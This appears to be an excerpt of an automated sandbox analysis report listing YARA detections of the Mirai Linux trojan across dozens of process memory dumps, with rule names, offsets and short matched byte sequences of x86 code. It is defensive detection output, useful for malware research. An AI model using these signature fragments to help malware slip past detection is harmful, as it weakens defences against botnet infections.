7351.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7351.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7351.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7071.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7071.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7071.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7071.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7071.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7071.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7385.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7437.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7437.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7437.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7437.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7437.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7437.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6857.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6857.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6857.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6857.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6857.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6857.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6621.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6621.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6621.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6621.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6621.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6621.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6639.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6639.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6639.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6639.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6639.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6639.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7043.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7043.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7043.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7043.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7043.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7043.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6577.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6577.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6577.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6577.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6577.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6577.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7145.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6925.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6925.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6925.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6925.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6925.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6925.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7399.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7399.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7399.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7399.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7399.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7399.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6815.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7215.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7215.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7215.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7215.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7215.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7215.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6270.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6270.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6270.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6270.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6270.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6270.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6836.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6836.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6836.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6836.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6836.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6836.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6935.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6935.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6935.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6935.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6935.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6935.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6464.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7431.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7431.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7431.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7431.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7431.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7431.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7192.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7192.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7192.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7192.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7192.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7192.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6464.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6464.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6464.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6464.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6464.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7305.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7305.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7305.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7305.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7305.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7305.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6371.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6655.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6655.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6655.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6655.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6655.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6655.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6317.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6317.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6317.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6317.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6317.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6317.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6782.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6782.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6782.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6782.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6782.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6782.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6876.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6876.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6876.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6876.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6876.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6876.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7262.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7262.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7262.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7262.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7262.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7262.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6907.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6907.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6907.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6907.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6907.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6907.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7326.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7326.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7326.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7326.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7326.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7326.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6443.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6443.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6443.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6443.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6443.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6443.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6437.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6437.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6437.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6437.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6437.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6437.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6668.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6668.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6668.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6668.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6668.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6668.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
